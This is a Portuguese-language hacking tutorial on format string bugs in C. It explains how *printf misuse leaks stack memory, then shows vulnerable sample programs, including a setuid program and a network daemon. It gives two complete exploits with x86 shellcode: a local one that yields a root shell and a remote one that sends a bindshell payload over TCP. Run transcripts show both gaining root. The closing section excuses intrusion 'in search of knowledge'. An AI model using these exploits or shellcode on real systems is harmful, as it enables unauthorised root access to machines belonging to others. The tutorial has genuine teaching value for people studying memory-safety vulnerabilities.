############################################################################ ########################## CLUBE DOS MERCENARIOS ########################### ############################################################################ Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Estes e outros textos podem ser obtidos em: http://XXXXXXXXXXXXX/ ou http://coracaodeleao.virtualave.net/ 07/00 OBS: O autor nao se responsabiliza pelo mau uso das informacoes e dados aqui disponibilizados. Todas as informacoes possuem somente carater educacional. OBS2: Script kiddies(defacers), Crackers e Analistas de Seguranca da Banda Podre, favor nao leiam este documento. ************************** * FORMAT BUGS * * Introducao - Part I * * Exploitando via Stack * * Overflows * ************************** --------------------------------- INDICE ---------------------------------- 1. - INTRODUCAO 2. - IMPLEMENTACOES VULNERAVEIS 3. - EXPLOITANDO LOCALMENTE 4. - EXPLOITANDO REMOTAMENTE 5. - TERMINANDO 5.1. - Links e Referencias 5.2. - Consideracoes Finais --------------------------------------------------------------------------- ---------------- 1. - INTRODUCAO | ---------------- Recentemente(julho de 2000), um grupo de hackers de varias partes do mundo 'encabecado' por um alemao resolveram publicar uma tecnica de exploitacao desconhecida pela Comunidade de Seguranca.Eles afirmavam que dominavam a tecnica desde 1994(um grupo polones, desde 1992) possuindo acesso a diversos sistemas remotos atraves desta tecnica. Este 'incidente' serviu para mostrar mais uma vez que a Comunidade de Seguranca como um todo ainda continua um passo atras no que se refere a conhecimentos por parte de hackers e crackers.Antes desta tecnica ter sido publicada, um exploit antecedeu sua publicacao levando parte da Comunidade de Seguranca a preocupacao quanto ao nivel tecnico dos atacantes que eles precisam combater. Na lista de 'Seguranca' mais famosa do mundo, na atualidade(Bugtraq), ficou evidenciado o despreparo de uma parte consideravel dos membros da Comunidade de Seguranca, gente famosa falando bobagens, e muitos outros sem entender o funcionamento do exploit. Desde entao, muito tem sido publicado a respeito desta tecnica e varias pessoas tem contribuido na troca de informacoes. FormatBugs eh o nome pelo qual ficou conhecido esta tecnica.Ela explora uma "vulnerabilidade"(pode-se dizer que nao eh uma vulnerabilidade) de varias funcoes *printf que recebem strings formatadas(%s,%n,%p,etc) em seus argumentos, mas nao convertem, ou seja,pensam que as strings representam entradas de novos argumentos.Quando isto ocorre, as funcoes *printf() nao sabem aonde seus argumentos param.Quanto a nova string formatada, ela somente le os proximos dados no Stack.O Exemplo abaixo, descrito pelo lamagra evidencia da forma mais clara este problema: -------------------------------- ptest.c --------------------------------- #include #include blaat(char *fmt,...) { va_list va; int i; char *addr; va_start(va,fmt); printf("---| begin |---\n"); for(i = 0;i < 5;i++) { addr = va_arg(va,char *); printf("%p\n",addr); } printf("---| end |---\n"); va_end(va); } main(int argc,char **argv) { char buf[8]; char *prot = (char *)0x12345678; strncpy(buf,argv[1],8); blaat(argv[1]); printf(argv[1]); putchar('\n'); } -------------------------------------------------------------------------- Compile ele e em seguida o execute: [localhost]# gcc -o ptest ptest.c [localhost]# ./ptest blaat ---| begin |--- 0x12345678 0x61616c62 0x74 0xbffffa58 0x400302e7 ---| end |--- blaat Note que um simples argumento faz ele imprimir as cinco entradas no topo do Stack antes de chamar blaat().Voce pode ver 0x123456780 que eh o conteudo de 'prot' e o conteudo de 'buf' chamando nosso argumento.A saida de printf() eh somente nosso argumento.Agora vamos executar ele com algumas strings formatadas no argumento, no exemplo abaixo usaremos %p, pois ele nao "crasheia" o programa: [localhost]# ./ptest AAAA%p ---| begin |--- 0x12345678 0x41414141 0x7025 0xbffffa58 0x400302e7 ---| end |--- AAAA0x12345678 Note que ele imprime 4 'A's e o %p eh substituido pelo endereco no topo do Stack.Quando voce adiciona mais %p para o argumento, voce verah mais outros elementos do Stack sendo imprimidos, desta forma nos conseguimos desde depurar o stack ateh mesmo obter acesso a memoria privilegiada(Leak Memory): [localhost]# ./ptest AAAA%p%p%p ---| begin |--- 0x12345678 0x41414141 0x70257025 0xbffffa58 0x400302e7 ---| end |--- AAAA0x123456780x414141410x70257025 Check este programa acima usando as demais format strings (%s,%c, %f,%d,%p, %i,%n, etc) e veja sua reacao.Exemplo: [localhost]# ./ptest AAAA%n ---| begin |--- 0x12345678 0x41414141 0x6e25 0xbffffa58 0x400302e7 ---| end |--- Segmentation fault [localhost]# ./ptest AAAA%f ---| begin |--- 0x12345678 0x41414141 0x6625 0xbffffa58 0x400302e7 ---| end |--- AAAA2261634.142222 Com base neste conceito, podemos ir mais alem. -------------------------------- 2. - IMPLEMENTACOES VULNERAVEIS | -------------------------------- Sao varias as implementacoes vulneraveis atraves do mau uso das funcoes *printf(printf, fprintf, sprintf, etc) excecao de vsnprintf.Abaixo seguem mais alguns exemplos de implementacoes vulneraveis. ------------------------------- bug1.c --------------------------------- #include #include main(int argc, char *argv[]){ char buffer[20]; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } strncpy(buffer,argv[1],20); printf(buffer);/* Note que aquivo ocorre o problema */ putchar('\n'); } -------------------------------------------------------------------------- # gcc -o bug1 bug1.c # ./bug1 ABCD%p%p ABCD0x444342410x70257025 -------------------------------- bug2.c ---------------------------------- #include #include main(int argc, char *argv[]){ char buffer[20]; if(argc < 2){ printf("Uso: %s string\n",argv[0]); exit(0); } snprintf(buffer,20,argv[1]);/* Note que aqui ocorre o problema */ printf("%s\n",buffer); return 0; } ------------------------------------------------------------------------- # gcc -o bug2 bug2.c # ./bug2 A%p%p A0xbffffa410x666666 ------------------------------- bug3.c ---------------------------------- #include #include #include main(int argc, char *argv[]){ char buffer[256]; if(argc < 2){ printf("Uso: %s string\n",argv[0]); exit(0); } strncpy(buffer,argv[1],256); fprintf(stdout,buffer); /* Note que aqui ocorre o problema */ putchar('\n'); return 0; } -------------------------------------------------------------------------- # gcc -o bug3 bug3.c # ./bug3 ABCDE%p%p ABCDE0x444342410x25702545 Como voce pode ver, nao sao poucas as possiveis implementacoes erradas do uso dessas funcoes *printf.Vamos mais alem, veja o codigo abaixo: --------------------------------- bug4.c --------------------------------- /* Mais uma Condicao de FORMAT- BUG */ #include #include #include main(int argc, char *argv[]){ char mensagem[60]; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } snprintf(mensagem,sizeof(mensagem) - 1,"Usuario mal-intencionado: %s",argv[1]); syslog(1,mensagem); /* Aqui ocorre o problema */ } ------------------------------------------------------------------------------- # gcc -o bug4 bug4.c # ./bug4 %p%p Eh muito comum encontrar chamadas para syslog() parecidas com o modo visto acima.No meu '/var/log/syslog' apareceu o seguinte: Jul 25 07:03:00 localhost bug6: Usuario mal-intencionado: 0x617573550x206f6972 Logo, syslog() pode ser uma implementacao tambem vulneravel. Em programas complexos(milhares/milhoes de linhas de codigo) eh comum vermos funcoes especificas responsaveis por gerar logs e mensagens de erros, tais como v_error(), log_error(), log_sys(), log_data(), etc. Saiu recentemente um programa conhecido como 'pscan' que procura dentro do codigo fonte, condicoes de vulnerabilidades a exploitacao via 'format bugs', um link para o mesmo pode ser obtido no final deste txt. Outras implementacoes vulneraveis podem ser encontradas em LKMs, um exemplo, pode ser uma mah implementacao de 'printk' recebendo 'format strings', vejamos: ---------------------------- bug5.c ------------------------------- /* Exemplo de LKM bugado a Format Bug! */ #define MODULE #define __KERNEL__ #include #include #include #include #include #define FORMAT "%p%p%p%p%p%p%p%p\n" int init_module(void){ printk("<1>Carregando Modulo..."); printk(FORMAT); return 0; } void cleanup_module(void){ printk("<1>Modulo Descarregado com Sucesso!\n"); } ------------------------------------------------------------------- # gcc -c -O3 bug5.c # insmod bug5.o Carregando Modulo...c104a08000000000c011590fc0408000080506e8c104a000bffff95400000000 Muitas ferramentas de LKM recebem dados diretamente do 'user-space' e imprime-os com chamadas do tipo 'printk'.Atualmente temos visto, varias ferramentas de seguranca que se utilizam de LKM vulneraveis a esta tecnica. No entanto, as possibilidades nao param por aih, qualquer funcao que recebe strings formatadas implementada no proprio programa pode sim conter um bug e estar vulneravel a este ataque.Precisamos sempre fazer uma auditoria seria e completa no codigo fonte de um programa em busca de bugs e de condicoes de exploitacao. ----------------- 3. - EXPLOITANDO | ----------------- Neste artigo inicial, veremos de forma basica como utilizar Format Strings para exploitar um programa vulneravel a buffer overflow(Stack Over). Como escrevo para Newbies, vou elevando o nivel aos poucos. Como vimos, uma string formatada pode "ler" informacoes dentro de uma pilha(Stack). Com base neste conceito, uma tecnica pode ser utilizada, a tecnica de Leak Memory(ver links). Abaixo podemos ver um codigo vulneravel a Format Bugs, mas que nao pode ser exploitado utilizando tecnicas comuns de buffer overflows, pois o mesmo possui uma checagem contra overflows: ------------------------------- hole1.c ------------------------------- /* Exemplo de programa local * vulneravel a format string. */ #include #include #include #include int main(int argc,char *argv[]){ char buffer[256]; if(argc < 2){ printf("uso: %s \n",argv[0]); exit(0); } if(strlen(argv[1]) > 255){ fprintf(stderr,"Tentativa de Exploitacao Detectada!\n"); exit(1); } setuid(0); // Apenas para dar mais enfase.:) setgid(0); sprintf(buffer,argv[1]); // Aqui estah nossa condicao vulneravel. printf("%s\n",buffer); return 0; } -------------------------------------------------------------------- Se tentarmos atacar enviando um buffer maior que o permitido, seremos detectados e o programa saltarah(exit(1)): root@kimera:/crawling/testes/fs# ./hole1 `perl -e 'print "A" x 256'` Tentativa de Exploitacao Detectada! Utilizando Format Strings estamos habilitados a sermos bem sucedidos em passar por esta "protecao". Como? Vejamos abaixo: root@kimera:/crawling/testes/fs# ./hole1 `perl -e 'print "A" x 252; print "%x";'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA40022178 Segmentation fault Hum, Bingo!!:) Se prestarmos bem atencao, veremos que o parametro ou string formatada "%x" passou pela checagem de strlen(argv[1]) mas copiou mais dados suportados por buffer[256] em sprintf(), ocrrendo assim um Stack Overflow, tendo ateh mesmo o EBP(Frame Pointer) Sobrescrito.Vejamos entao: root@kimera:/crawling/testes/fs# ulimit -c 1234567 root@kimera:/crawling/testes/fs# ./hole1 `perl -e 'print "A" x 248; print "%x";print "BBBB";'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA40022178BBBB Segmentation fault (core dumped) Notaram algo interessante? Vejamos entao a depuracao: root@kimera:/crawling/testes/fs# gdb -c core -q Core was generated by `./hole1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x40038142 in ?? () (gdb) bt full #0 0x40038142 in ?? () No symbol table info available. Cannot access memory at address 0x42424242 (gdb) info reg ebp ebp 0x42424242 0x42424242 (gdb) x/i $ebp 0x42424242: Cannot access memory at address 0x42424242 WoooWooo!:). Como vimos 0x42424242 eh um endereco que pode ser alterado para um controlado por nos! Se podemos alterar o fluxo ou fluido de um programa para um endereco controlado por nos, entao, estaremos aptos a controlar todo o programa e em alguns casos, todo o sistema, em outros, toda a rede, em outros, tudo, tudo e tudo.:) A string formatada no nosso exemplo envia 2 caracters "%" e "x" que sao processados por strlen() e passam pela protecao. No entanto, sprintf() copia a string formatada de forma nao esperada e o tamanho aumenta consideravelmente. Vejamos o simples programa abaixo para melhorar ainda mais o entendimento: ------------------------------ te.c --------------------------------- /* Mostra tamanho da string formatada antes e depois * de sprintf(). */ #include int main(int argc, char *argv[]){ char *fmt,buffer[50]; fmt = argv[1]; printf("--- Antes:\n"); printf("String: %s | Tamanho: %d\n", fmt, strlen(fmt)); printf("--- Depois:\n"); sprintf(buffer,fmt); printf("String: %s | Tamanho: %d\n",buffer,strlen(buffer)); return 0; } ---------------------------------------------------------------------- root@kimera:/crawling/testes/fs# ./te %x --- Antes: String: %x | Tamanho: 2 --- Depois: String: 2 | Tamanho: 1 root@kimera:/crawling/testes/fs# ./te %10x --- Antes: String: %10x | Tamanho: 4 --- Depois: String: 4 | Tamanho: 10 root@kimera:/crawling/testes/fs# ./te %016x --- Antes: String: %016x | Tamanho: 5 --- Depois: String: 0000000000000005 | Tamanho: 16 Como vimos, podemos fazer com que uma format string de 4 bytes no envio seja processada com 16 bytes em sprintf(), gerando assim um aumento nos dados recebidos pela funcao alvo. Poderiamos ir incrementando o tamanho ateh conseguirmos alcancar o endereco de retorno, conforme explicado na depuracao anterior. Desta forma, podemos controlar nosso buffer preenchendo com dados e enderecos que permitirao alterarmos os registradores e consequentemente dominar o fluxo do programa. Vejamos abaixo um exemplo de exploit para o programa vulneravel: ------------------------------- mex.c --------------------------------- /* exploit format bug without retlibc * by Nash Leon. */ #include #include #include #include #define MAXBUF 256 /* tam buffer alvo */ #define EGGLEN 4096 #define NOP 0x90 #define ERROR -1 /* Shellcode Padrao */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]){ char *buf, *egg, *ptr; int i; int get_sp = (int)&get_sp; // Pega ESP char *fmt = "%016x"; // Nossa String Formatada buf = malloc(MAXBUF); if(buf == NULL){ fprintf(stderr,"Nao foi possivel alocar memoria!"); exit(ERROR); } egg = malloc(EGGLEN); if(egg == NULL){ fprintf(stderr,"Nao foi possivel alocar memoria!"); exit(ERROR); } if(argc > 1) get_sp = get_sp + atoi(argv[1]); if(argc > 2) fmt = argv[2]; /* Vamos encher de A uma parte do buffer. * Como no exemplo, 248 As. */ ptr = buf; for(i = 0; i < 248; i++){ *(ptr++) = 0x41; } /* Copiamos a string formatada e o endereco de retorno */ sprintf(ptr, "%s%c%c%c%c", fmt, get_sp & 0xff, (get_sp & 0xff00) >> 8, (get_sp & 0xff0000) >> 16, (get_sp & 0xff000000) >> 24); printf("Tamanho do Buffer de Envio: %d\n",strlen(buf)); ptr = egg; /* Preparamos a Environment com NOPs e Shellcode */ for(i = 0; i < EGGLEN - strlen(shellcode) -1; i++) { *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } egg[EGGLEN - 1] = '\0'; memcpy(egg, "EGG=", 4); putenv(egg); memcpy(buf, "RET=", 4); putenv(buf); /* Executamos o alvo */ system("./hole1 $RET"); return 0; } ------------------------------------------------------------------ nashleon@kimera:/crawling/testes/fs$ id uid=1000(nashleon) gid=100(users) groups=100(users) nashleon@kimera:/crawling/testes/fs$ ./mex Tamanho do Buffer de Envio: 257 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000000040022178"ř˙ż sh-2.05a# id uid=0(root) gid=0(root) groups=100(users) sh-2.05a# I'm a root!!:)... como vimos, podemos ser bem sucedidos tranquilamente. Os casos envolvendo este tipo de exploitacao nao sao mais tao comuns como eram ha algum tempo atras. Mas podemos notar que um sistema de checagem de tamanho de buffers pode nao ser efetivo se o programa alvo estiver vulneravel a format string. Exemplos classicos de vulnerabilidades deste tipo estao presentes em alguns softwares como Proftpd 1.2.XpreX e QPOP 2.5. ----------------------------- 4. - EXPLOITANDO REMOTAMENTE | ----------------------------- O mesmo conceito localmente pode ser utilizado para exploitar daemons e programas servidores. Conforme citado no item anterior, alguns daemons apresentaram este tipo de problema e foram exploitados para obtencao de shell em sistemas remotos. Abaixo veremos um simples daemon que contem uma condicao de exploitacao de format bugs atraves de stack overflow. ------------------------------ daemon.c ------------------------------- /* Exemplo de Daemon Vulneravel a Format Bug. * Tutorial Sobre Format Bug. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include #include #include #include #include #include #include #define ERRO -1 #define PORTA 5000 int Meusocket, New; int vulneravel(char *dados){ char buf[512]; if(strlen(dados) > 511){ write(New,"Fora!\n",7); close(New); return 1; } sprintf(buf,dados); // Aqui estah a vulnerabilidade write(New,buf,strlen(buf)); return 0; } int main(int argc, char *argv[]){ struct sockaddr_in local; struct sockaddr_in remote; int n; char dados[1024]; Meusocket = socket (AF_INET,SOCK_STREAM,0); local.sin_family = AF_INET; local.sin_port = htons(atoi(argv[1])); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero),8); bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr)); listen(Meusocket, 5); while(1) { n = sizeof(struct sockaddr_in); if((New=accept(Meusocket, (struct sockaddr *)&remote,&n))==1) { perror("accept"); exit(1); } if(!fork()){ close(0); close(1); close(2); dup2(New, 0); dup2(New, 1); dup2(New,2); strcpy(dados,"Seja bem vindo! \n\nUsuario: "); write(New,dados,strlen(dados)); memset(dados,0,strlen(dados)); if(read(New,dados,sizeof(dados)) < 0){ perror("read()"); return -1; } vulneravel(dados); close(New); exit(0); } } return 0; } ----------------------------------------------------------------------- Apos alguns minutos de depuracao, capturamos o tamanho do buffer necessario, bem como qual string formatada usaremos e o endereco de retorno. Tudo semelhante a depuracao anterior(man gdb). Entao, criamos nosso exploit: --------------------------- mexremot.c -------------------------------- /* Exploit Remoto para Format String via Stack BO. * Nash Leon - nashleon@yahoo.com.br. * I Artigo sobre Format Bugs. */ #include #include #include #include #include #include #include #include #include #include #define PORTA 5000 #define SIZE 512 #define NOP 0x90 #define RET 0xbffff4a4 #define ERROR -1 /* Bindshell padrao - Taeh oh * porta 30464 */ char shellcode[] = "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; int main(int argc, char *argv[]) { char buffer[SIZE], sockbuffer[2048]; int retaddr=RET, port=PORTA; struct sockaddr_in sin; struct hostent *he; int Sock, i; char *ptr; char *fmt = "%016x"; // Slackware 8.0 printf("Exemplo de exploit remoto Format Bug by NL\n\n"); if ( argc < 2 ) { printf("Uso: %s \n", argv[0]); exit(0); } if(argc == 3 ) retaddr += atoi(argv[2]); if(argc == 4) fmt = argv[3]; if(argc == 5) port = atoi(argv[4]); fprintf(stderr, "Tentando Exploitar %s...\n", argv[1]); fprintf(stderr, "Usando return address 0x%08x. \n", retaddr); fprintf(stderr, "Usando Format String %s. \n", fmt); he = gethostbyname(argv[1]); if(he == NULL) { fprintf(stderr, "Unknow hostname : %s\n", strerror(errno)); exit(ERROR); } Sock = socket(AF_INET, SOCK_STREAM, 0); if(Sock < 0 ) { fprintf(stderr,"Error: Socket()!\n"); exit(ERROR); } sin.sin_family = AF_INET; sin.sin_port = htons(port); memcpy(&sin.sin_addr, he->h_addr, he->h_length); bzero(&(sin.sin_zero), 8); fprintf(stdout, "Connecting... "); if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) { fprintf(stderr, "failed to %s:%d\n", argv[1], PORTA); exit(ERROR); } fprintf(stdout, "OK\n"); ptr = buffer; for(i = 0;i < (SIZE - sizeof(shellcode) - 4 - 4 - 2 -1); i++){ *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } sprintf(ptr, "%s%c%c%c%c", fmt, retaddr & 0xff, (retaddr & 0xff00) >> 8, (retaddr & 0xff0000) >> 16, (retaddr & 0xff000000) >> 24); fprintf(stdout,"Tamanho: %d\n\n",strlen(buffer)); fflush(stdout); bzero(sockbuffer, sizeof(sockbuffer)); read(Sock,sockbuffer, sizeof(sockbuffer)); fprintf(stdout, "Enviando exploit... "); write(Sock, buffer, strlen(buffer)); fprintf(stdout, "OK\n"); fprintf(stderr, "Cheque se exploitou(telnet alvo 30464)!!\n\n"); close(Sock); return 0; } ----------------------------------------------------------------------- root@kimera:/crawling/testes/fs# ./daemon 5000 Em outro TTY: nashleon@kimera:/crawling/testes/fs$ id uid=1000(nashleon) gid=100(users) groups=100(users) nashleon@kimera:/crawling/testes/fs$ ./mexremot 127.0.0.1 Exemplo de exploit remoto Format Bug by NL Tentando Exploitar 127.0.0.1... Usando return address 0xbffff4a4. Usando Format String %016x. Connecting... OK Tamanho: 509 Enviando exploit... OK Cheque se exploitou(telnet alvo 30464)!! nashleon@kimera:/crawling/testes/fs$ telnet 127.0.0.1 30464 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) : command not found WooooWoooo!!:) Bom, pessoal, durante muito tempo a adrenalina de invadir servidores remotos utilizando este tipo de esquema ou tecnica foi uma constante na minha vida. Agora, direcionei tudo pra pesquisa e sinto a mesma emocao quando sou bem sucedido em outro desafios. Se voce acha que as invasoes podem um dia te trazer problemas, faca que nem eu, e redirecione o teu potencial para outras pesquisas, em outros campos, mas nao condene aqueles que invadem em busca de conhecimento. ---------------- 5. - TERMINANDO | ---------------- Bom, as informacoes disponibilizadas neste artigo sao apenas o ponta peh inicial neste tema(Format Bugs). Se tudo correr bem e Deus permitir, em breve disponibilizarei maiores esquemas e uns bem mais interessantes. Mas nao esperem por mim, existe muita coisa boa na net que descrevem muito sobre este tipo de exploitacao. 5.1. - Links e Referencias --------------------------- "Format string vulnerability" por Kalou/Pascal Bouchareine; "Format Bugs: What are they, Where did they come from, How to exploit them" por lamagra; "FMTBUILDER-Howto version 0.2" por Frederic "Pappy" Raynal e Samuel "Zorgon" Dralet; "Format Bugs par Pascal Bouchareine" por Pascal Bouchareine; "Howto remotely and automatically exploit a format bug" por Frédéric Raynal; "Exploiting the format string vulnerabilities" por scut(TESO team) "Leak Memory" por Nash Leon Links Interessante: http://XXXXX -> Clube dos Mercenarios http://www.microfobia.com/ http://www.infoshack.cjb.net/ http://unsekurity.virtualave.net/ http://int0x80.virtualave.net/ http://www.linuxsecurity.com.br/ Mail Lists: www.yahoogroups.com/group/clube_dos_mercenarios www.yahoogroups.com/group/virii_hacking www.yahoogroups.com/group/frontthescene 5.2. - Consideracoes Finais ---------------------------- Hum... Aos poucos estou conseguindo ir terminando documentos que estavam parados ha anos. Tem alguns outros prestes a serem publicados. Eh interessante como os rumos que damos a nossa vida podem nos levar de volta ao ponto em que iniciamos. Nem todos tem coragem o suficiente para "recomecar". E pouquissimos tem coragem para reconhecer que errou. De qualquer modo, eu reconheco que errei em muitos aspectos e eu estou recomecando. Confesso que mudei muito neste longo tempo, mas sei que preciso melhorar em muitos pontos ainda. Conversando com um conhecido, vimos que dentre muitos que conviviam conosco ha alguns anos atras, poucos, muito poucos, permanecem ainda acreditando na divulgacao de informacoes e alguns, seguiram um rumo bastante indesejavel tempos atras. Existe uma diferenca entre necessitar de dinheiro para sobrevivencia e enriquecer as custas da inseguranca, e infelizmente, alguns tem cruzado uma barreira etica e esquecido por completo de qualquer pensamento altruista. Tentarei, na medida do possivel, fazer a minha parte na divulgacao de informacoes e na troca de experiencia.:) Agradeco a Jeovah Deus por tudo, ao pessoal das mail lists e aos colaboradores do Clube dos Mercenarios. Um Cordial abraco, Nash Leon vulgo coracaodeleao. ------------------------------- EOF -----------------------------------